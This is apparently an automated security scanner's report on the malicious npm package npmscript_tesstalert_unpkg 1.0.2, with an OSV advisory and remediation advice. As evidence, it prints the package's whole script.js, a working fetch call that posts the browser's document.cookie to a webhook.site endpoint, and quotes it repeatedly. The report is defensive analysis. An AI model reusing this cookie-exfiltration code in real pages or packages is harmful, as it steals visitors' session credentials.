registry / npmscript_tesstalert_unpkg / 1.0.2

npmscript_tesstalert_unpkg@1.0.2

AI Security Review

scanned 17d ago · by lpm-firewall-ai

The exposed browser script posts page cookies to a third-party webhook. This is a concrete credential exfiltration surface.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Execution of script.js in a browser context.

Impact

Cookies accessible to the page can be disclosed to the webhook operator.

Mechanism

The script calls fetch with document.cookie as the POST body and no-cors mode.

Attack narrative

A consumer loading the package's unpkg or main script in a browser triggers a request that sends document.cookie to a webhook.site endpoint. The request has no destination restriction, authentication purpose, or user action gate in the source.

AI rationale

The package's only executable entrypoint contains direct cookie collection and transmission to an unrelated third-party endpoint. This is concrete credential exfiltration behavior.

Evidence

package.jsonscript.js

Network endpoints1

webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16309

Source

OpenSSF Malicious Packages via OSV

Summary

The package's only executable entrypoint contains direct cookie collection and transmission to an unrelated third-party endpoint. This is concrete credential exfiltration behavior.

References

OSV advisory

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package exposes script.js as both its main and unpkg entrypoint.
script.js sends the browser's document.cookie in a POST request to a third-party webhook URL.

Evidence against

No npm lifecycle scripts or install-time hooks are declared.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsTrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 151 B of source, external domains: webhook.site

Source & flagged code

4 flagged

script.jsView file

Lines 1-7javascript

1alert(11)

2fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', {

3 method: 'POST',

4 mode: 'no-cors',

5 body: document.cookie

6});

High

Ai Review Evidence

script.js sends the browser's document.cookie in a POST request to a third-party webhook URL.

script.jsView on unpkg · L2

•Browser cookie sent to a fixed external endpoint in script.js: fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { body: document.cookie

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

script.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: manifest.main -> script.js fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST',

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

script.jsView on unpkg

package.jsonView file

Lines 1-10json

2 "name": "npmscript_tesstalert_unpkg",

3 "version": "1.0.2",

4 "description": "",

5 "main": "script.js",

Source & flagged code

4 flagged · loading source

script.jsView file

•Browser cookie sent to a fixed external endpoint in script.js: fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { body: document.cookie

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

script.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: manifest.main -> script.js fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST',

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

script.jsView on unpkg

2fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST', mode: 'no-cors', body: document.cookie });

High

Ai Review Evidence

script.js sends the browser's document.cookie in a POST request to a third-party webhook URL.

script.jsView on unpkg · L2

package.jsonView file

5"main": "script.js", "unpkg": "script.js", "files": ["script.js"],

High

Ai Review Evidence

The package exposes script.js as both its main and unpkg entrypoint.

package.jsonView on unpkg · L5

Findings

1 Critical3 High2 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationscript.js

HighTrigger Reachable External Post Callbackscript.js

HighAi Review Evidencepackage.json

HighAi Review Evidencescript.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to npmscript_tesstalert_unpkg@1.0.2.

See version security history for other recorded verdicts.

Avoid installing npmscript_tesstalert_unpkg@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-21 23:54:56.073Z (UTC).